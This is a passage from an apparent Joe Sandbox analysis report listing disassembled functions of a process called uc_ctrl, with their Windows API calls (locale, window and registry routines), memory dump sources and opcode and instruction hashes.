                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ClientMessageScreenSendWindow
                                                                                              • String ID:
                                                                                              • API String ID: 2093367132-0
                                                                                              • Opcode ID: 98544f030319a78c4890d943cfcfa12cb595031d81a143aae5534ef63bea1d54
                                                                                              • Instruction ID: 0434667149eb692ac7366d0dcd5df679036e1017b830e755fb736689dae3fa3d
                                                                                              • Opcode Fuzzy Hash: 98544f030319a78c4890d943cfcfa12cb595031d81a143aae5534ef63bea1d54
                                                                                              • Instruction Fuzzy Hash: 5B4106B1700683AEEF10CB69CC44B6F76B9EB2970CF20552AE465D1D70D7B1C842C613
                                                                                              Function 6CEF3E80 Relevance: 9.1, APIs: 6, Instructions: 110COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF3E87
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000018,6CEEF1FC,?,?,?,?,?,?,?,?,%m / %d / %y), ref: 6CEF3E96
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEED96D: __EH_prolog3.LIBCMT ref: 6CEED974
                                                                                                • Part of subcall function 6CEED96D: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEA4F,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEED97F
                                                                                                • Part of subcall function 6CEED96D: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEED997
                                                                                                • Part of subcall function 6CEED96D: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEED9FB
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEF3EB2
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3$??1_?getloc@ios_base@std@@Bid@locale@std@@Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 3655460422-0
                                                                                              • Opcode ID: c4a401ac179179f8e7d33795ac9eba42bde96e763e496e1cd7761403ba683c30
                                                                                              • Instruction ID: d02465023d975c43d544836544b62ee97d4b04e868eefe2c710366c76670c286
                                                                                              • Opcode Fuzzy Hash: c4a401ac179179f8e7d33795ac9eba42bde96e763e496e1cd7761403ba683c30
                                                                                              • Instruction Fuzzy Hash: 4241713160025ADFDF14DF60C891AEE7BB1FF49318F248549E8656BB90DB30AE1ACB51
                                                                                              Function 6CF9B2EF Relevance: 9.1, APIs: 6, Instructions: 89windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • IsWindowVisible.USER32(?), ref: 6CF9B310
                                                                                              • GetWindow.USER32(?,00000005), ref: 6CF9B327
                                                                                              • GetWindowRect.USER32(00000000,00000000), ref: 6CF9B34B
                                                                                                • Part of subcall function 6CF9617E: ScreenToClient.USER32(?,?), ref: 6CF9618D
                                                                                                • Part of subcall function 6CF9617E: ScreenToClient.USER32(?,?), ref: 6CF9619A
                                                                                              • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000015,00000000), ref: 6CF9B371
                                                                                              • GetWindow.USER32(00000000,00000002), ref: 6CF9B37A
                                                                                              • ScrollWindow.USER32(?,?,?,?,?), ref: 6CF9B396
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$ClientScreen$RectScrollVisible
                                                                                              • String ID:
                                                                                              • API String ID: 1714389229-0
                                                                                              • Opcode ID: de6b16fc3398a7e085e9db92232913516d8947c38fa7b012c9950a9525118947
                                                                                              • Instruction ID: 7d3ebcf1e66bb5cf476a8127ce7a99e1509cf6a3946bf64ed0732f3f94f7a636
                                                                                              • Opcode Fuzzy Hash: de6b16fc3398a7e085e9db92232913516d8947c38fa7b012c9950a9525118947
                                                                                              • Instruction Fuzzy Hash: 13317C32600609AFEF11DF64CC88FBFBBB9FF88725F214418E905A7210EB3199009B61
                                                                                              Function 6CEDEFB0 Relevance: 9.1, APIs: 6, Instructions: 86COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6CEDEFD4
                                                                                              • memcpy.VCRUNTIME140(?,?,?), ref: 6CEDEFF3
                                                                                              • _malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEDF000
                                                                                              • __crtLCMapStringW.MSVCP140(?,00000400,?,?,00000000,?), ref: 6CEDF01D
                                                                                                • Part of subcall function 6CEE1090: wcsnlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CEDEE7C,?,00000100,?,00000001,?,00000001), ref: 6CEE109F
                                                                                                • Part of subcall function 6CEE1090: __crtLCMapStringEx.MSVCP140(?,?,?,?,?,?,?,?,6CEDEE7C,?,00000100,?,00000001,?,00000001), ref: 6CEE10C0
                                                                                              • __crtLCMapStringW.MSVCP140(?,00000400,?,?,00000000,00000000), ref: 6CEDF037
                                                                                              • _free_base.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEDF069
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: String__crt$___lc_locale_name_func_free_base_malloc_basememcpywcsnlen
                                                                                              • String ID:
                                                                                              • API String ID: 912474000-0
                                                                                              • Opcode ID: 25febcc5fcf987a46abae780b71021f4fc34256a8e9ff964ca601bcf32b18aa2
                                                                                              • Instruction ID: 55e30e2e331c7acecd42186a11704ccbf1c7544ca5768871b2593928e79e7f4d
                                                                                              • Opcode Fuzzy Hash: 25febcc5fcf987a46abae780b71021f4fc34256a8e9ff964ca601bcf32b18aa2
                                                                                              • Instruction Fuzzy Hash: B721D172A00615BBCB10CEA9CC409AE77B8EF49768B264259FD14A7780D731F91287E0
                                                                                              Function 6CF8DE75 Relevance: 9.1, APIs: 6, Instructions: 66COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetWindowLongW.USER32(?,000000F0), ref: 6CF8DE9E
                                                                                              • GetParent.USER32(?), ref: 6CF8DEAC
                                                                                              • GetParent.USER32(?), ref: 6CF8DEC3
                                                                                              • GetLastActivePopup.USER32(?), ref: 6CF8DED6
                                                                                              • IsWindowEnabled.USER32(?), ref: 6CF8DEEA
                                                                                              • EnableWindow.USER32(?,00000000), ref: 6CF8DEFD
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
                                                                                              • String ID:
                                                                                              • API String ID: 670545878-0
                                                                                              • Opcode ID: b7237105c4a13cb097a4ee38202162b9f747bcc245f684ce9853813f588fe450
                                                                                              • Instruction ID: f1444084764da1cb5241881bc79f0f6417db43f1a08d698164eeafedf274f993
                                                                                              • Opcode Fuzzy Hash: b7237105c4a13cb097a4ee38202162b9f747bcc245f684ce9853813f588fe450
                                                                                              • Instruction Fuzzy Hash: B411C672607723579B211A2A5988B9B76FC9F6ABB9B210216EC10E7B40DB60CC0087B1
                                                                                              Function 6CF8D4A2 Relevance: 9.1, APIs: 6, Instructions: 66registryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • RegDeleteKeyW.ADVAPI32(00000000,?), ref: 6CF8D4CA
                                                                                              • RegDeleteValueW.ADVAPI32(00000000,?,?,00000000), ref: 6CF8D4EA
                                                                                              • RegCloseKey.ADVAPI32(00000000), ref: 6CF8D517
                                                                                                • Part of subcall function 6CF8CD49: RegCloseKey.ADVAPI32(00000000), ref: 6CF8CDEE
                                                                                                • Part of subcall function 6CF8CD49: RegCloseKey.ADVAPI32(00000000), ref: 6CF8CDFD
                                                                                              • _wcslen.LIBCMT ref: 6CF8D4F9
                                                                                              • RegSetValueExW.ADVAPI32(00000000,?,00000000,00000001,?,00000000,?,00000000), ref: 6CF8D50E
                                                                                              • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 6CF8D532
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Close$DeleteValue$PrivateProfileStringWrite_wcslen
                                                                                              • String ID:
                                                                                              • API String ID: 3964697592-0
                                                                                              • Opcode ID: 406a87062f02d4c14d22d344b3b9b62a67d3b380c9daebc68e84284921f946f3
                                                                                              • Instruction ID: 7cbcd05bbc789c5f968eddcaaf52ec565261d811e2e947673a2a64bf9a52ddfa
                                                                                              • Opcode Fuzzy Hash: 406a87062f02d4c14d22d344b3b9b62a67d3b380c9daebc68e84284921f946f3
                                                                                              • Instruction Fuzzy Hash: 1811A033543626BBDB121B65AC48F8F3B79EF8A3B4B114427FD149A550DB31D90187A0
                                                                                              Function 6D0C68EE Relevance: 9.1, APIs: 6, Instructions: 60COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetLastError.KERNEL32(00000001,?,6D0C649B,6D0C126E,6D0C187F,?,6D0C1A8F,?,00000001,?,?,00000001,?,6D1913B0,0000000C,6D0C1B78), ref: 6D0C68FC
                                                                                              • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6D0C690A
                                                                                              • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6D0C6923
                                                                                              • SetLastError.KERNEL32(00000000,6D0C1A8F,?,00000001,?,?,00000001,?,6D1913B0,0000000C,6D0C1B78,?,00000001,?), ref: 6D0C6975
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ErrorLastValue___vcrt_
                                                                                              • String ID:
                                                                                              • API String ID: 3852720340-0
                                                                                              • Opcode ID: e78e7ad293699db9aae3167146c434b40b3881d93d42cee191cc231cdb6842db
                                                                                              • Instruction ID: a47e5163c4e2ebc73d4b462625de125c3fa79d645205ee6039ca2a4705b92a27
                                                                                              • Opcode Fuzzy Hash: e78e7ad293699db9aae3167146c434b40b3881d93d42cee191cc231cdb6842db
                                                                                              • Instruction Fuzzy Hash: DE01923310D7125EBA3116F9AC8477E3AA8EB02A78760432AF620551F0EBB5881261D6
                                                                                              Function 6CF9201D Relevance: 9.0, APIs: 6, Instructions: 48windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetFocus.USER32 ref: 6CF92021
                                                                                              • GetParent.USER32(00000000), ref: 6CF92042
                                                                                                • Part of subcall function 6CF92393: GetWindowLongW.USER32(?,000000F0), ref: 6CF923B2
                                                                                                • Part of subcall function 6CF92393: GetClassNameW.USER32(?,?,0000000A), ref: 6CF923C7
                                                                                              • GetWindowLongW.USER32(?,000000F0), ref: 6CF92061
                                                                                              • GetParent.USER32(?), ref: 6CF9206F
                                                                                              • GetDesktopWindow.USER32 ref: 6CF92077
                                                                                              • SendMessageW.USER32(00000000,0000014F,00000000,00000000), ref: 6CF9208B
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$LongParent$ClassDesktopFocusMessageNameSend
                                                                                              • String ID:
                                                                                              • API String ID: 3020784601-0
                                                                                              • Opcode ID: ce2c02e4d917826ee6c6ba84d7973af69dbe29353f86dbb47a1b1ad8be155f13
                                                                                              • Instruction ID: b13ba035083671d690bb071f154bb7d020bc375438e20181ce536646b2aec3db
                                                                                              • Opcode Fuzzy Hash: ce2c02e4d917826ee6c6ba84d7973af69dbe29353f86dbb47a1b1ad8be155f13
                                                                                              • Instruction Fuzzy Hash: 9DF0F43520272163FE2217359C4CF6E72B89F8AF68F304124FE56A2690CB22C842C5A2
                                                                                              Function 6CEF9DBA Relevance: 9.0, APIs: 6, Instructions: 47COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF9DC1
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEBBD,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9DCC
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9DE4
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000,?,?,?,00000004), ref: 6CEF9E1E
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9E46
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
                                                                                              • String ID:
                                                                                              • API String ID: 2931747682-0
                                                                                              • Opcode ID: ec94442dd7d917d980ae9acca92cc28252c86e4be2897d327e130c156e57f510
                                                                                              • Instruction ID: c43caab2a5b962d85c6bbe95e7bf2cfafb31eaf33064bdd50a117c3c1535f708
                                                                                              • Opcode Fuzzy Hash: ec94442dd7d917d980ae9acca92cc28252c86e4be2897d327e130c156e57f510
                                                                                              • Instruction Fuzzy Hash: 2D019E35B016148BCF05EFA8C8602EDB6B26F88758F350418C431ABB80DF749E0A9B95
                                                                                              Function 6CEF9EEC Relevance: 9.0, APIs: 6, Instructions: 47COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF9EF3
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEC5B,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9EFE
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9F16
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000,?,?,?,00000004), ref: 6CEF9F50
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9F78
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
                                                                                              • String ID:
                                                                                              • API String ID: 2931747682-0
                                                                                              • Opcode ID: dd8c14bef222b0cc04c09184b59fcc451f1e7feed68216d25ed122461e5dda95
                                                                                              • Instruction ID: 5664a56ef747a8ea4b6c160a3765db423389416ac931c8b4aa76f159d7c94916
                                                                                              • Opcode Fuzzy Hash: dd8c14bef222b0cc04c09184b59fcc451f1e7feed68216d25ed122461e5dda95
                                                                                              • Instruction Fuzzy Hash: 0501F136B006208BCF01EF64C8616FDB6726F88758F24042CD425ABB80CF39DD0A9796
                                                                                              Function 6CEF9E53 Relevance: 9.0, APIs: 6, Instructions: 47COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF9E5A
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEC0A,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9E65
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9E7D
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000,?,?,?,00000004), ref: 6CEF9EB7
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9EDF
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
                                                                                              • String ID:
                                                                                              • API String ID: 2931747682-0
                                                                                              • Opcode ID: cad9d7707c3aa7588115be3dbaaefbe270d3f349941603d633d8d71f32828b68
                                                                                              • Instruction ID: 02e9e0bf4aac6db69bcadf26c4ddf4df1b21336dc6decb889b93e8c559c6eafa
                                                                                              • Opcode Fuzzy Hash: cad9d7707c3aa7588115be3dbaaefbe270d3f349941603d633d8d71f32828b68
                                                                                              • Instruction Fuzzy Hash: F6019E35B002148BCF05EFA4C8602EDB7B26F88759F25051CC421ABB90DF749D0A9795
                                                                                              Function 6CEF9F85 Relevance: 9.0, APIs: 6, Instructions: 47COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF9F8C
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEECAC,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9F97
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9FAF
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
